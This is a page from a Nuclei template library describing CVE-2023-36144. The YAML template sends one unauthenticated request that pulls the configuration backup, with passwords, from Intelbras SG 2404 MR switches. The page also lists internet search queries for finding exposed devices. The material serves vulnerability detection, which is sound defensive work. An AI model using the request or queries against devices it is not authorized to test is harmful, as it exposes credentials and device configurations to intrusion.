Skip to content
Nuclei Templates

Intelbras Switch - Information Disclosure

ID: CVE-2023-36144

Severity: high

Author: gy741

Tags: cve2023,cve,intelbras,switch,exposure

Description

Section titled “Description”

An authentication bypass in Intelbras Switch SG 2404 MR in firmware 1.00.54 allows an unauthenticated attacker to download the backup file of the device, exposing critical information about the device configuration.

YAML Source

Section titled “YAML Source”
id: CVE-2023-36144


info:
  name: Intelbras Switch - Information Disclosure
  author: gy741
  severity: high
  description: |
    An authentication bypass in Intelbras Switch SG 2404 MR in firmware 1.00.54 allows an unauthenticated attacker to download the backup file of the device, exposing critical information about the device configuration.
  remediation: |
    Apply the latest security patches or updates provided by the vendor to mitigate this vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-36144
    - https://github.com/leonardobg/CVE-2023-36144
    - http://intelbras.com
    - https://github.com/nomi-sec/PoC-in-GitHub
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-36144
    cwe-id: CWE-862
    epss-score: 0.03179
    epss-percentile: 0.91154
    cpe: cpe:2.3:o:intelbras:sg_2404_mr_firmware:1.00.54:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: intelbras
    product: sg_2404_mr_firmware
    shodan-query:
      - title:"Intelbras"
      - http.title:"intelbras"
    fofa-query: title="intelbras"
    google-query: intitle:"intelbras"
  tags: cve2023,cve,intelbras,switch,exposure


http:
  - method: GET
    path:
      - '{{BaseURL}}/cgi-bin/exportCfgwithpasswd'


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'System Description'
          - 'System Version'
          - 'System Name'
        condition: and


      - type: word
        part: header
        words:
          - 'attachment;filename='


      - type: status
        status:
          - 200
# digest: 4a0a004730450220534d5b878f52f9019a0b645d157ed8589744afd7cf98f8578664295a2d203093022100c0268572afdbfa0aac02f8658a3be4f974b67b7dd3f8aac393d69d38c8db6db3:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-36144.yaml"

View on Github